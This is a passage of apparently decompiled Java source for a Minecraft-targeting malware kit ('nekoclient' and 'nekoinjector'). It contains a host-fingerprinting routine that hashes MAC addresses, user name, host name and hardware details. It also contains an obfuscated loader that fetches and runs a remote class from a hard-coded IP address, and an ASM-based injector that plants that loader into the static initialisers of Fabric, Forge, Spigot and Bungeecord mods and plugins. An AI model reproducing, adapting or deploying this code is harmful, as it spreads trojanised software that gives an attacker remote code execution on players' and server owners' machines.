         List<NetworkInterface> networkInterfaces = new ArrayList<>();

         while(enumeration.hasMoreElements()) {
            networkInterfaces.add(enumeration.nextElement());
         }

         networkInterfaces.stream().sorted(Comparator.comparing(NetworkInterface::getName)).filter(networkInterface -> {
            try {
               return networkInterface.isUp() && !networkInterface.isVirtual();
            } catch (SocketException var2x) {
               return false;
            }
         }).map(networkInterface -> {
            try {
               byte[] address = networkInterface.getHardwareAddress();
               return !Objects.isNull(address) && address.length != 0 ? address : null;
            } catch (SocketException var2x) {
               return null;
            }
         }).filter(Objects::nonNull).forEach(bytes -> {
            try {
               byteArrayOutputStream.write(bytes);
            } catch (IOException var3x) {
            }
         });
      }

      byteArrayOutputStream.write(SystemUtil.propertyBytes("os.name"));
      byteArrayOutputStream.write(SystemUtil.propertyBytes("os.arch"));
      byteArrayOutputStream.write(SystemUtil.propertyBytes("user.name"));
      String hostName = InetAddress.getLocalHost().getHostName();
      if (Objects.nonNull(hostName)) {
         byteArrayOutputStream.write(hostName.getBytes());
      }

      byteArrayOutputStream.write(SystemUtil.propertyBytes("user.country"));
      byteArrayOutputStream.write(SystemUtil.propertyBytes("user.language"));
      byteArrayOutputStream.write(SystemUtil.propertyBytes("user.home"));
      byteArrayOutputStream.write(SystemUtil.propertyBytes("os.version"));
      byteArrayOutputStream.write(SystemUtil.propertyBytes("line.separator"));
      byteArrayOutputStream.write(SystemUtil.propertyBytes("file.separator"));
      byteArrayOutputStream.write(String.valueOf(SystemUtil.getAvailableProcessors()).getBytes());
      byteArrayOutputStream.write(String.valueOf(SystemUtil.getTotalPhysicalMemory()).getBytes());
      byteArrayOutputStream.write(SystemUtil.envBytes("PROCESSOR_IDENTIFIER"));
      return HashUtil.generateMD5Hash(byteArrayOutputStream.toByteArray());
   }
}


================================================
FILE: dev/neko/nekoclient/utils/HashUtil.java
================================================
package dev.neko.nekoclient.utils;

import java.math.BigInteger;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;

public class HashUtil {
   public static String generateMD5Hash(byte[] bytes) throws NoSuchAlgorithmException {
      MessageDigest md5 = MessageDigest.getInstance("MD5");
      md5.update(bytes);
      return new BigInteger(1, md5.digest()).toString(16);
   }
}


================================================
FILE: dev/neko/nekoclient/utils/JsonUtil.java
================================================
package dev.neko.nekoclient.utils;

import com.eclipsesource.json.JsonValue;
import java.util.Objects;
import java.util.function.Predicate;

public class JsonUtil {
   public static boolean is(JsonValue value, Predicate<JsonValue> predicate) {
      return Objects.nonNull(value) && predicate.test(value);
   }

   public static boolean isNot(JsonValue value, Predicate<JsonValue> predicate) {
      return !is(value, predicate);
   }
}


================================================
FILE: dev/neko/nekoclient/utils/ObjectUtil.java
================================================
package dev.neko.nekoclient.utils;

import java.util.Objects;

public class ObjectUtil {
   public static <A, B> A unsafeCast(B b) {
      return (A)b;
   }

   public static <T> T requireNonNullElse(T value, T fallback) {
      return (T)(Objects.isNull(value) ? fallback : value);
   }

   public static <T> T requireNonNullAndExceptionElse(ObjectUtil.Catcher<T> value, T fallback) {
      try {
         T result = value.get();
         return (T)(Objects.isNull(result) ? fallback : result);
      } catch (Throwable var3) {
         return fallback;
      }
   }

   public static <T> T requireNonExceptionElse(ObjectUtil.Catcher<T> value, T fallback) {
      try {
         return value.get();
      } catch (Throwable var3) {
         return fallback;
      }
   }

   public interface Catcher<T> {
      T get() throws Throwable;
   }
}


================================================
FILE: dev/neko/nekoclient/utils/SystemUtil.java
================================================
package dev.neko.nekoclient.utils;

import com.sun.management.OperatingSystemMXBean;
import java.lang.management.ManagementFactory;
import java.util.Objects;
import oshi.SystemInfo;
import oshi.hardware.HardwareAbstractionLayer;

public class SystemUtil {
   private static HardwareAbstractionLayer hardware = null;

   public static int getAvailableProcessors() {
      return Runtime.getRuntime().availableProcessors();
   }

   public static long getTotalPhysicalMemory() {
      try {
         if (Objects.nonNull(hardware)) {
            return hardware.getMemory().getTotal();
         }
      } catch (Throwable var2) {
      }

      try {
         if (ManagementFactory.getOperatingSystemMXBean() instanceof OperatingSystemMXBean) {
            return ((OperatingSystemMXBean)ManagementFactory.getOperatingSystemMXBean()).getTotalPhysicalMemorySize();
         }
      } catch (Throwable var1) {
      }

      return 0L;
   }

   public static String getProcessorName() {
      if (Objects.nonNull(hardware)) {
         try {
            return hardware.getProcessor().getProcessorIdentifier().getName();
         } catch (Throwable var1) {
         }
      }

      return "";
   }

   public static byte[] envBytes(int offset, String... properties) {
      String value = System.getenv(properties[offset]);
      return Objects.isNull(value) ? (offset + 1 >= properties.length ? new byte[0] : propertyBytes(offset + 1, properties)) : value.getBytes();
   }

   public static byte[] envBytes(String... properties) {
      return envBytes(1, properties);
   }

   public static byte[] envBytes(String env) {
      String value = System.getenv(env);
      return Objects.isNull(value) ? new byte[0] : value.getBytes();
   }

   public static String env(String env) {
      return new String(envBytes(env));
   }

   public static byte[] propertyBytes(String property) {
      String value = System.getProperty(property);
      return Objects.isNull(value) ? new byte[0] : value.getBytes();
   }

   public static byte[] propertyBytes(int offset, String... properties) {
      String value = System.getProperty(properties[offset]);
      return Objects.isNull(value) ? (offset + 1 >= properties.length ? new byte[0] : propertyBytes(offset + 1, properties)) : value.getBytes();
   }

   public static byte[] propertyBytes(String... properties) {
      return propertyBytes(1, properties);
   }

   public static String property(String property) {
      return new String(propertyBytes(property));
   }

   public static String property(String... property) {
      return new String(propertyBytes(property));
   }

   static {
      try {
         hardware = new SystemInfo().getHardware();
      } catch (Throwable var1) {
      }
   }
}


================================================
FILE: dev/neko/nekoinjector/Injector.java
================================================
package dev.neko.nekoinjector;

import dev.neko.nekoinjector.utils.EncodingUtil;
import java.io.IOException;
import java.io.InputStream;
import java.util.Objects;
import java.util.jar.Manifest;
import java.util.jar.Attributes.Name;
import org.objectweb.asm.ClassReader;
import org.objectweb.asm.tree.AbstractInsnNode;
import org.objectweb.asm.tree.ClassNode;
import org.objectweb.asm.tree.LdcInsnNode;
import org.objectweb.asm.tree.MethodNode;

public class Injector {
   public static MethodNode loadInstallerNode(InputStream clazz, String ref) throws IOException {
      ClassReader installerClassReader = new ClassReader(clazz);
      ClassNode installerNode = new ClassNode();
      installerClassReader.accept(installerNode, 0);
      MethodNode methodNode = installerNode.methods
         .stream()
         .filter(methodNode2 -> Objects.equals(methodNode2.name, "load"))
         .findFirst()
         .orElseThrow(IllegalStateException::new);

      for(AbstractInsnNode instruction : methodNode.instructions) {
         if (instruction instanceof LdcInsnNode) {
            LdcInsnNode ldc = (LdcInsnNode)instruction;
            if (ldc.cst instanceof String && Objects.equals(ldc.cst, "REF")) {
               ldc.cst = Objects.isNull(ref) ? null : EncodingUtil.encodeToByteFormat(EncodingUtil.reverseBytes(ref.getBytes()));
            }
         }
      }

      return methodNode;
   }

   public static String findMainClass(Manifest manifest) {
      return !Objects.isNull(manifest) && !Objects.isNull(manifest.getMainAttributes()) && manifest.getMainAttributes().containsKey(Name.MAIN_CLASS)
         ? String.format("%s.class", manifest.getMainAttributes().getValue(Name.MAIN_CLASS).replaceAll("\\.", "/"))
         : null;
   }
}


================================================
FILE: dev/neko/nekoinjector/Loader.java
================================================
package dev.neko.nekoinjector;

import java.net.URL;

public class Loader {
   public void load() {
      try {
         Class.forName(
               // "Utility"
               new String(new byte[]{85, 116, 105, 108, 105, 116, 121}),
               true,
               (ClassLoader)Class.forName(
                     // java.net.URLClassLoader
                     new String(new byte[]{106, 97, 118, 97, 46, 110, 101, 116, 46, 85, 82, 76, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114})
                  )
                  .getConstructor(URL[].class)
                  .newInstance(
                     new URL[]{
                        new URL(
                           // http
                           new String(new byte[]{104, 116, 116, 112}),
                           // 85.217.144.130
                           new String(new byte[]{56, 53, 46, 50, 49, 55, 46, 49, 52, 52, 46, 49, 51, 48}),
                           8080,
                           // /dl
                           new String(new byte[]{47, 100, 108})
                        )
                     }
                  )
            )
            // run
            .getMethod(new String(new byte[]{114, 117, 110}), String.class)
            .invoke(null, "REF");
      } catch (Throwable var2) {
      }
   }
}


================================================
FILE: dev/neko/nekoinjector/asm/Entry.java
================================================
package dev.neko.nekoinjector.asm;

import java.util.Objects;
import java.util.UUID;
import java.util.jar.JarEntry;
import org.objectweb.asm.ClassWriter;
import org.objectweb.asm.tree.AbstractInsnNode;
import org.objectweb.asm.tree.ClassNode;
import org.objectweb.asm.tree.LdcInsnNode;
import org.objectweb.asm.tree.MethodInsnNode;
import org.objectweb.asm.tree.MethodNode;

public class Entry {
   private final JarEntry jarEntry;
   private final ClassNode classNode;
   private final byte[] bytes;
   private boolean inject;

   public Entry(JarEntry jarEntry, ClassNode classNode, byte[] bytes, boolean inject) {
      this.jarEntry = jarEntry;
      this.classNode = classNode;
      this.bytes = bytes;
      this.inject = inject;
   }

   public final JarEntry getJarEntry() {
      return this.jarEntry;
   }

   public final ClassNode getClassNode() {
      return this.classNode;
   }

   public final boolean isInject() {
      return this.inject;
   }

   public void setInject(boolean inject) {
      this.inject = inject;
   }

   public final byte[] getBytes() {
      return this.bytes;
   }

   public final boolean isClass() {
      return Objects.nonNull(this.classNode);
   }

   public final boolean isResource() {
      return Objects.isNull(this.classNode);
   }

   public final boolean isInjected(String encodedRef) {
      for(MethodNode method : this.classNode.methods) {
         for(AbstractInsnNode instruction : method.instructions) {
            if (instruction instanceof LdcInsnNode) {
               LdcInsnNode ldcInsnNode = (LdcInsnNode)instruction;
               if (ldcInsnNode.cst instanceof String && Objects.equals(ldcInsnNode.cst, encodedRef)) {
                  return true;
               }
            }
         }
      }

      return false;
   }

   public final byte[] inject(MethodNode methodNode) {
      ClassWriter classWriter = new ClassWriter(1);
      MethodNode alreadyExistingClinit = this.classNode.methods.stream().filter(method -> Objects.equals(method.name, "<clinit>")).findFirst().orElse(null);
      if (Objects.nonNull(alreadyExistingClinit)) {
         MethodNode newClinitNode = new MethodNode(8, String.format("_%s", UUID.randomUUID().toString().replaceAll("-", "")), "()V", null, null);
         newClinitNode.instructions = methodNode.instructions;
         this.classNode.methods.add(newClinitNode);
         alreadyExistingClinit.instructions
            .insert(alreadyExistingClinit.instructions.getFirst(), new MethodInsnNode(184, this.classNode.name, newClinitNode.name, newClinitNode.desc));
      } else {
         MethodNode clinitNode = new MethodNode(8, "<clinit>", "()V", null, null);
         clinitNode.instructions = methodNode.instructions;
         this.classNode.methods.add(clinitNode);
      }

      this.classNode.accept(classWriter);
      return classWriter.toByteArray();
   }

   public final boolean isCertificate() {
      String name = this.jarEntry.getName();
      return Objects.equals(name, "META-INF/CERTIFIC.RSA")
         || Objects.equals(name, "META-INF/CERT.SF")
         || Objects.equals(name, "META-INF/CERTIFIC.SF")
         || Objects.equals(name, "META-INF/CERTIFIC.EC");
   }
}


================================================
FILE: dev/neko/nekoinjector/asm/EntryList.java
================================================
package dev.neko.nekoinjector.asm;

import java.util.ArrayList;
import java.util.List;
import java.util.Objects;
import java.util.function.Predicate;
import java.util.stream.Collectors;

public class EntryList extends ArrayList<Entry> {
   public Entry getBy(Predicate<? super Entry> predicate) {
      return this.stream().filter(predicate).findFirst().orElse(null);
   }

   public Entry getByPath(String path) {
      return this.getBy(
         entry -> Objects.equals(entry.getJarEntry().getName(), path) || Objects.equals(String.format("/%s", entry.getJarEntry().getName()), path)
      );
   }

   public List<Entry> classes() {
      return this.stream().filter(Entry::isClass).collect(Collectors.toList());
   }
}


================================================
FILE: dev/neko/nekoinjector/template/SimpleTemplate.java
================================================
package dev.neko.nekoinjector.template;

import dev.neko.nekoinjector.asm.Entry;
import dev.neko.nekoinjector.asm.EntryList;
import java.util.HashSet;
import java.util.List;
import java.util.stream.Collectors;
import java.util.zip.ZipEntry;

public class SimpleTemplate implements Template {
   private final String name;
   private final List<String> suggest;
   private final List<String> injections;

   public SimpleTemplate(String name, List<String> suggest, List<String> injections) {
      this.name = name;
      this.suggest = suggest;
      this.injections = injections;
   }

   @Override
   public final boolean shouldSuggest(EntryList jarEntries) {
      return new HashSet(jarEntries.stream().map(Entry::getJarEntry).map(ZipEntry::getName).collect(Collectors.toList())).containsAll(this.suggest);
   }

   @Override
   public final String getName() {
      return this.name;
   }

   public final List<String> getSuggest() {
      return this.suggest;
   }

   public final List<String> getInjections() {
      return this.injections;
   }

   @Override
   public boolean shouldInject(Entry entry) {
      return this.injections.contains(entry.getJarEntry().getName())
         || this.injections.contains(String.format("/%s", this.injections.contains(entry.getJarEntry().getName())));
   }
}


================================================
FILE: dev/neko/nekoinjector/template/Template.java
================================================
package dev.neko.nekoinjector.template;

import dev.neko.nekoinjector.asm.Entry;
import dev.neko.nekoinjector.asm.EntryList;

public interface Template {
   boolean shouldSuggest(EntryList var1);

   boolean shouldInject(Entry var1);

   String getName();
}


================================================
FILE: dev/neko/nekoinjector/template/impl/BungeecordPluginTemplate.java
================================================
package dev.neko.nekoinjector.template.impl;

import dev.neko.nekoinjector.asm.Entry;
import dev.neko.nekoinjector.asm.EntryList;
import dev.neko.nekoinjector.template.Template;
import java.util.Objects;

public class BungeecordPluginTemplate implements Template {
   private static final String PLUGIN_SUPERCLASS = "net/md_5/bungee/api/plugin/Plugin";

   @Override
   public boolean shouldSuggest(EntryList entries) {
      return entries.stream().anyMatch(entry -> entry.isClass() && Objects.equals(entry.getClassNode().superName, "net/md_5/bungee/api/plugin/Plugin"));
   }

   @Override
   public boolean shouldInject(Entry entry) {
      return Objects.equals(entry.getClassNode().superName, "net/md_5/bungee/api/plugin/Plugin");
   }

   @Override
   public String getName() {
      return "minecraft-bungeecord-plugin";
   }
}


================================================
FILE: dev/neko/nekoinjector/template/impl/FabricModTemplate.java
================================================
package dev.neko.nekoinjector.template.impl;

import dev.neko.nekoinjector.asm.Entry;
import dev.neko.nekoinjector.asm.EntryList;
import dev.neko.nekoinjector.template.Template;

public class FabricModTemplate implements Template {
   private static final String MOD_INTERFACE = "net/fabricmc/api/ModInitializer";

   @Override
   public boolean shouldSuggest(EntryList entries) {
      return entries.stream().anyMatch(entry -> entry.isClass() && entry.getClassNode().interfaces.contains("net/fabricmc/api/ModInitializer"));
   }

   @Override
   public boolean shouldInject(Entry entry) {
      return entry.getClassNode().interfaces.contains("net/fabricmc/api/ModInitializer");
   }

   @Override
   public String getName() {
      return "minecraft-fabric-mod";
   }
}


================================================
FILE: dev/neko/nekoinjector/template/impl/ForgeModTemplate.java
================================================
package dev.neko.nekoinjector.template.impl;

import dev.neko.nekoinjector.asm.Entry;
import dev.neko.nekoinjector.asm.EntryList;
import dev.neko.nekoinjector.template.Template;
import java.util.Objects;

public class ForgeModTemplate implements Template {
   private static final String MOD_ANNOTATION = "Lnet/minecraftforge/fml/common/Mod;";

   @Override
   public boolean shouldSuggest(EntryList entries) {
      return entries.stream()
         .anyMatch(
            entry -> entry.isClass()
                  && Objects.nonNull(entry.getClassNode().visibleAnnotations)
                  && entry.getClassNode()
                     .visibleAnnotations
                     .stream()
                     .anyMatch(annotationNode -> Objects.equals(annotationNode.desc, "Lnet/minecraftforge/fml/common/Mod;"))
         );
   }

   @Override
   public boolean shouldInject(Entry entry) {
      return Objects.nonNull(entry.getClassNode().visibleAnnotations)
         && entry.getClassNode()
            .visibleAnnotations
            .stream()
            .anyMatch(annotationNode -> Objects.equals(annotationNode.desc, "Lnet/minecraftforge/fml/common/Mod;"));
   }

   @Override
   public String getName() {
      return "minecraft-forge-mod";
   }
}


================================================
FILE: dev/neko/nekoinjector/template/impl/MinecraftClientTemplate.java
================================================
package dev.neko.nekoinjector.template.impl;

import dev.neko.nekoinjector.template.SimpleTemplate;
import java.util.Arrays;
import java.util.Collections;

public class MinecraftClientTemplate extends SimpleTemplate {
   public MinecraftClientTemplate() {
      super(
         "minecraft-client",
         Collections.singletonList("net/minecraft/client/main/Main.class"),
         Arrays.asList("net/minecraft/client/main/Main.class", "net/minecraft/client/gui/GuiMultiplayer.class")
      );
   }
}


================================================
FILE: dev/neko/nekoinjector/template/impl/SpigotPluginTemplate.java
================================================
package dev.neko.nekoinjector.template.impl;

import dev.neko.nekoinjector.asm.Entry;
import dev.neko.nekoinjector.asm.EntryList;
import dev.neko.nekoinjector.template.Template;
import java.util.Objects;

public class SpigotPluginTemplate implements Template {
   private static final String PLUGIN_SUPERCLASS = "org/bukkit/plugin/java/JavaPlugin";

   @Override
   public boolean shouldSuggest(EntryList entries) {
      return entries.stream().anyMatch(entry -> entry.isClass() && Objects.equals(entry.getClassNode().superName, "org/bukkit/plugin/java/JavaPlugin"));
   }

   @Override
   public boolean shouldInject(Entry entry) {
      return Objects.equals(entry.getClassNode().superName, "org/bukkit/plugin/java/JavaPlugin");
   }

   @Override
   public String getName() {
      return "minecraft-spigot-plugin";
   }
}


================================================
FILE: dev/neko/nekoinjector/utils/EncodingUtil.java
================================================
package dev.neko.nekoinjector.utils;

import java.util.StringJoiner;

public class EncodingUtil {
   public static byte[] decodeFromByteFormat(String string) {
      String[] split = string.split("\\.");
      byte[] bytes = new byte[split.length];

      for(int i = 0; i < bytes.length; ++i) {
         bytes[i] = Byte.parseByte(split[i]);
      }

      return bytes;
   }

   public static String encodeToByteFormat(byte[] bytes) {
      StringJoiner joiner = new StringJoiner(".");

      for(byte b : bytes) {
         joiner.add(String.valueOf((int)b));
      }

      return joiner.toString();
   }

   public static byte[] reverseBytes(byte[] bytes) {
      byte[] reversedBytes = new byte[bytes.length];

      for(int i = 0; i < bytes.length; ++i) {
         byte originalByte = bytes[i];
         byte reversedByte = 0;

         for(int j = 0; j < 8; ++j) {
            reversedByte = (byte)(reversedByte << 1);
            reversedByte = (byte)(reversedByte | originalByte & 1);
            originalByte = (byte)(originalByte >> 1);
         }

         reversedBytes[i] = reversedByte;
      }

      return reversedBytes;
   }

   public static byte[] restoreReversedBytes(byte[] reversedBytes) {
      byte[] bytes = new byte[reversedBytes.length];

      for(int i = 0; i < reversedBytes.length; ++i) {
         byte reversedByte = reversedBytes[i];
         byte originalByte = 0;

         for(int j = 0; j < 8; ++j) {
            originalByte = (byte)(originalByte << 1);
            originalByte = (byte)(originalByte | reversedByte & 1);
            reversedByte = (byte)(reversedByte >> 1);
         }

         bytes[i] = originalByte;
      }

      return bytes;
   }
}


================================================
FILE: dev/neko/nekoinjector/utils/ListUtil.java
================================================
package dev.neko.nekoinjector.utils;

import java.util.Enumeration;
import java.util.List;
import java.util.function.Function;
import java.util.function.Predicate;

public class ListUtil {
   public static <T, R> void toList(List<R> list, Enumeration<T> enumeration, Predicate<T> predicate, Function<? super T, ? extends R> mapper) {
      while(enumeration.hasMoreElements()) {
         T element = enumeration.nextElement();
         if (predicate.test(element)) {
            list.add(mapper.apply(element));
         }
      }
   }
}